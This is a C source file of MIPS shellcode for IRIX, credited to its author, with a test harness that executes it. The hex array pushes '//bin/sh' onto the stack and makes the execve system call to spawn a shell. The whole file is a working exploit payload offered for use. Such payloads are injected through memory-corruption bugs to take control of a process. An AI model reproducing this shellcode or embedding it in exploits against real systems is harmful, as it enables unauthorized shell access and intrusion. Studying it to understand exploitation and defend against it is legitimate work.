/*
 * This is shellcode for IRIX - MIPS processors.
 * Tested on R12000 processor with system IRIX64 6.5.26m
 *
 * --
 * Best regards pi3 (pi3ki31ny) - Adam Zabrocki
 * http://pi3.hack.pl
 *
 */

#include <stdio.h>

unsigned long int shellcode[] = {
                0x01294822,	/* sub	   $9,$9,$9		*/
		0x23bdfe44,     /* add     $29,$29,-444 	*/
		0xafa901bc,     /* sw      $9,444($29)  	*/
		0x23bd01bc,     /* add     $29,$29,444  	*/
		0x23bdfffc,     /* add     $29,$29,-4   	*/
		0x3c082f2f,     /* lui     $8,0x2f2f    	*/
		0x35087368,     /* ori     $8,$8,0x7368 	*/
		0x23bdfe44,     /* addi    $29,$29,-444 	*/
		0xafa801bc,     /* sw      $8,444($29)  	*/
		0x23bd01bc,     /* addi    $29,$29,444  	*/
		0x23bdfffc,     /* addi    $29,$29,-4   	*/
		0x3c082f62,     /* lui     $8,0x2f62    	*/
		0x3508696e,     /* ori     $8,$8,0x696e 	*/
		0x23bdfe44,     /* addi    $29,$29,-444 	*/
		0xafa801bc,     /* sw      $8,444($29)  	*/
		0x23bd01bc,     /* addi    $29,$29,444  	*/
		0x23bdfffc,     /* addi    $29,$29,-4   	*/
		0xafbd01bc,     /* sw      $29,444($29) 	*/
		0x8fa401bc,     /* lw      $4,444($29)  	*/
		0x208401cc,     /* addi    $4,$4,460    	*/
		0x2084fe38,     /* addi    $4,$4,-456   	*/
		0x01294822,     /* sub     $9,$9,$9     	*/
		0x23bdfe44,     /* addi    $29,$29,-444 	*/
		0xafa901bc,     /* sw      $9,444($29)  	*/
		0x23bd01bc,     /* addi    $29,$29,444  	*/
		0x23bdfe44,     /* addi    $29,$29,-444 	*/
		0xafa401b8,     /* sw      $4,440($29)  	*/
		0xafbd01b4,     /* sw      $29,436($29) 	*/
		0x8fa501b4,     /* lw      $5,436($29)  	*/
		0x20a501b8,     /* addi    $5,$5,440    	*/
		0x01294822,     /* sub     $9,$9,$9     	*/
		0x3126ffff,     /* andi    $6,$9,0xffff 	*/
		0x24020423,     /* li      $2,1059      	*/
		0x0101010c,     /* syscall              	*/
};

int main(void) {

  void *(*sym)(void)=shellcode;

  sym();
  printf("DONE...\n");

}

